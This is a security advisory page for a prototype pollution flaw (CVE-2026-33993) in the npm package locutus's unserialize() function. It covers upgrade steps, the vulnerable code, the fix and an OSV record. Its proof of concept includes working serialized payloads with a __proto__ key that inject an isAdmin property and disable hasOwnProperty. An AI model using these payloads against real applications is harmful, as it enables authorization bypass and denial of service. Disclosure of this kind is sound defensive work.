CVE-2026-33993: Locutus Locutus Has Prototype Pollution Vulnerability

MODERATE
Advisory Identifier: GHSA-4mph-v827-f877
CWE-1321
Published
Advisory Summary

CVE-2026-33993 is a MODERATE locutus has prototype pollution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Locutus libraries in the npm ecosystem. The issue involves locutus has prototype pollution via __proto__ key injection in unserialize(). Remediation is available by upgrading affected packages to version 3.0.25.

CVE-2026-33993 at a Glance

CVE Identifier CVE-2026-33993
GHSA Identifier GHSA-4mph-v827-f877
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Locutus
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-33993

To remediate this vulnerability, upgrade all affected Locutus dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

locutus fixed: 3.0.25
npm install locutus@3.0.25
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls locutus

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-33993, inspect your project dependencies using npm:

npm ls locutus

Analyze the terminal output to locate any version of Locutus in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.25), your application is affected.

Note: The npm ls locutus command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Locutus, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. ## Details The vulnerable code is in two functions within `src/php/var/unserialize.ts`: **`expectArrayItems()` at line 358:** ```typescript // src/php/var/unserialize.ts:329-366 function expectArrayItems( str: string, expectedItems = 0, cache: CacheFn, ): [UnserializedObject | UnserializedValue[], number] { // ... const items: UnserializedObject = {} // ... for (let i = 0; i < expectedItems; i++) { key = expectKeyOrIndex(str) // ... item = expectType(str, cache) // ... items[String(key[0])] = item[0] // line 358 — no __proto__ filtering } // ... } ``` **`expectObject()` at line 278:** ```typescript // src/php/var/unserialize.ts:246-287 function expectObject(str: string, cache: CacheFn): ParsedResult { // ... const obj: UnserializedObject = {} // ... for (let i = 0; i < propCount; i++) { // ... obj[String(prop[0])] = value[0] // line 278 — no __proto__ filtering } // ... } ``` Both functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript's `__proto__` setter replaces the object's prototype rather than creating a regular property. This means: 1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator 2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()` 3. They propagate to copies made via `for...in` loops, becoming real own properties 4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values Notably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`. This is **not** global `Object.prototype` pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected. ## PoC **Setup:** ```bash npm install locutus@3.0.24 ``` **Step 1 — Property injection via array deserialization:** ```js import { unserialize } from 'locutus/php/var/unserialize'; const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}'; const config = unserialize(payload); console.log(config.isAdmin); // true (injected via prototype) console.log(Object.keys(config)); // ['name'] — isAdmin is hidden console.log('isAdmin' in config); // true — bypasses 'in' checks console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty ``` **Verified output:** ``` true [ 'name' ] true false ``` **Step 2 — for...in propagation makes injected properties real:** ```js const copy = {}; for (const k in config) copy[k] = config[k]; console.log(copy.isAdmin); // true (now an own property) console.log(copy.hasOwnProperty('isAdmin')); // true ``` **Verified output:** ``` true true ``` **Step 3 — Method override denial of service:** ```js const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}'; const obj = unserialize(payload2); obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function ``` **Verified output:** ``` TypeError: obj.hasOwnProperty is not a function ``` **Step 4 — Object type (stdClass) is also vulnerable:** ```js const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}'; const obj2 = unserialize(payload3); console.log(obj2.isAdmin); // true console.log('isAdmin' in obj2); // true ``` **Step 5 — Confirm NOT global pollution:** ```js console.log(({}).isAdmin); // undefined — global Object.prototype is clean ``` ## Impact - **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if ('role' in config)` patterns on deserialized data are vulnerable to authorization bypass. - **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks. - **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object. The primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic. ## Recommended Fix Filter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter: ```typescript const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']); // In expectArrayItems (line 358) and expectObject (line 278): const keyStr = String(key[0]); // or String(prop[0]) in expectObject if (DANGEROUS_KEYS.has(keyStr)) { Object.defineProperty(items, keyStr, { value: item[0], writable: true, enumerable: true, configurable: true, }); } else { items[keyStr] = item[0]; } ``` Alternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely: ```typescript // Replace: const items: UnserializedObject = {} // With: const items = Object.create(null) as UnserializedObject; ``` The `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value. ## Maintainer Reponse Thank you for the report. This issue was reproduced locally against `locutus@3.0.24`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object. This is now fixed on `main` and released in `locutus@3.0.25`. ## Fix Shipped In - **PR:** [#597](https://github.com/locutusjs/locutus/pull/597) - **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4` - **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25) ## What the Fix Does The fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics. ## Tested Repro Before the Fix - Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object - `Object.keys()` hid the injected key while `'key' in obj` stayed true - Built-in methods like `hasOwnProperty` could be disrupted ## Tested State After the Fix in `3.0.25` - Dangerous keys are kept as own enumerable properties - The returned object's prototype is not replaced - The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts` --- The locutus team is treating this as a real package vulnerability with patched version `3.0.25`.

CVE-2026-33993 Affected Locutus Versions

1 component(s)
Fixed Versions:
3.0.25
Product / Package Ecosystem Affected Versions Fixed Version
locutus
npm
< 3.0.25
3.0.25

References

Frequently Asked Questions

What is CVE-2026-33993?
CVE-2026-33993 is a security vulnerability in Locutus involving Locutus has Prototype Pollution via __proto__ Key Injection in unserialize() under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Locutus versions are affected?
Affected versions include releases prior to 3.0.25 across affected packages: locutus.
What version fixes CVE-2026-33993?
Upgrading to 3.0.25 (or the latest patched release for your respective branch) resolves the vulnerability.
Is locutus affected?
Yes, locutus is affected in releases prior to 3.0.25. Upgrade your dependency to 3.0.25 or later.
What CWE is associated with CVE-2026-33993?
CVE-2026-33993 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-33993?
Run the dependency tree command: 'npm ls locutus'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4mph-v827-f877",
  "modified" : "2026-03-30T20:14:41Z",
  "published" : "2026-03-27T17:57:39Z",
  "aliases" : [ "CVE-2026-33993" ],
  "summary" : "Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()",
  "details" : "## Summary\n\nThe `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.\n\nThis is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied.\n\n## Details\n\nThe vulnerable code is in two functions within `src/php/var/unserialize.ts`:\n\n**`expectArrayItems()` at line 358:**\n```typescript\n// src/php/var/unserialize.ts:329-366\nfunction expectArrayItems(\n  str: string,\n  expectedItems = 0,\n  cache: CacheFn,\n): [UnserializedObject | UnserializedValue[], number] {\n  // ...\n  const items: UnserializedObject = {}\n  // ...\n  for (let i = 0; i < expectedItems; i++) {\n    key = expectKeyOrIndex(str)\n    // ...\n    item = expectType(str, cache)\n    // ...\n    items[String(key[0])] = item[0]  // line 358 — no __proto__ filtering\n  }\n  // ...\n}\n```\n\n**`expectObject()` at line 278:**\n```typescript\n// src/php/var/unserialize.ts:246-287\nfunction expectObject(str: string, cache: CacheFn): ParsedResult {\n  // ...\n  const obj: UnserializedObject = {}\n  // ...\n  for (let i = 0; i < propCount; i++) {\n    // ...\n    obj[String(prop[0])] = value[0]  // line 278 — no __proto__ filtering\n  }\n  // ...\n}\n```\n\nBoth functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript's `__proto__` setter replaces the object's prototype rather than creating a regular property. This means:\n\n1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator\n2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()`\n3. They propagate to copies made via `for...in` loops, becoming real own properties\n4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values\n\nNotably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`.\n\nThis is **not** global `Object.prototype` pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.\n\n## PoC\n\n**Setup:**\n```bash\nnpm install locutus@3.0.24\n```\n\n**Step 1 — Property injection via array deserialization:**\n```js\nimport { unserialize } from 'locutus/php/var/unserialize';\n\nconst payload = 'a:2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}';\nconst config = unserialize(payload);\n\nconsole.log(config.isAdmin);           // true (injected via prototype)\nconsole.log(Object.keys(config));      // ['name'] — isAdmin is hidden\nconsole.log('isAdmin' in config);      // true — bypasses 'in' checks\nconsole.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty\n```\n\n**Verified output:**\n```\ntrue\n[ 'name' ]\ntrue\nfalse\n```\n\n**Step 2 — for...in propagation makes injected properties real:**\n```js\nconst copy = {};\nfor (const k in config) copy[k] = config[k];\nconsole.log(copy.isAdmin);                     // true (now an own property)\nconsole.log(copy.hasOwnProperty('isAdmin'));    // true\n```\n\n**Verified output:**\n```\ntrue\ntrue\n```\n\n**Step 3 — Method override denial of service:**\n```js\nconst payload2 = 'a:1:{s:9:\"__proto__\";a:1:{s:14:\"hasOwnProperty\";b:1;}}';\nconst obj = unserialize(payload2);\nobj.hasOwnProperty('x');  // TypeError: obj.hasOwnProperty is not a function\n```\n\n**Verified output:**\n```\nTypeError: obj.hasOwnProperty is not a function\n```\n\n**Step 4 — Object type (stdClass) is also vulnerable:**\n```js\nconst payload3 = 'O:8:\"stdClass\":2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}';\nconst obj2 = unserialize(payload3);\nconsole.log(obj2.isAdmin);       // true\nconsole.log('isAdmin' in obj2);  // true\n```\n\n**Step 5 — Confirm NOT global pollution:**\n```js\nconsole.log(({}).isAdmin);  // undefined — global Object.prototype is clean\n```\n\n## Impact\n\n- **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if ('role' in config)` patterns on deserialized data are vulnerable to authorization bypass.\n- **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks.\n- **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object.\n\nThe primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.\n\n## Recommended Fix\n\nFilter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter:\n\n```typescript\nconst DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);\n\n// In expectArrayItems (line 358) and expectObject (line 278):\nconst keyStr = String(key[0]); // or String(prop[0]) in expectObject\nif (DANGEROUS_KEYS.has(keyStr)) {\n  Object.defineProperty(items, keyStr, {\n    value: item[0],\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  });\n} else {\n  items[keyStr] = item[0];\n}\n```\n\nAlternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely:\n\n```typescript\n// Replace: const items: UnserializedObject = {}\n// With:\nconst items = Object.create(null) as UnserializedObject;\n```\n\nThe `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value.\n\n\n## Maintainer Reponse\n\nThank you for the report. This issue was reproduced locally against `locutus@3.0.24`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object.\n\nThis is now fixed on `main` and released in `locutus@3.0.25`.\n\n## Fix Shipped In\n\n- **PR:** [#597](https://github.com/locutusjs/locutus/pull/597)\n- **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4`\n- **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25)\n\n## What the Fix Does\n\nThe fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.\n\n## Tested Repro Before the Fix\n\n- Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object\n- `Object.keys()` hid the injected key while `'key' in obj` stayed true\n- Built-in methods like `hasOwnProperty` could be disrupted\n\n## Tested State After the Fix in `3.0.25`\n\n- Dangerous keys are kept as own enumerable properties\n- The returned object's prototype is not replaced\n- The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts`\n\n---\n\nThe locutus team is treating this as a real package vulnerability with patched version `3.0.25`.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "locutus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.25"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33993"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/locutusjs/locutus/pull/597"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/locutusjs/locutus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/locutusjs/locutus/releases/tag/v3.0.25"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T17:57:39Z",
    "nvd_published_at" : "2026-03-27T23:17:14Z"
  }
}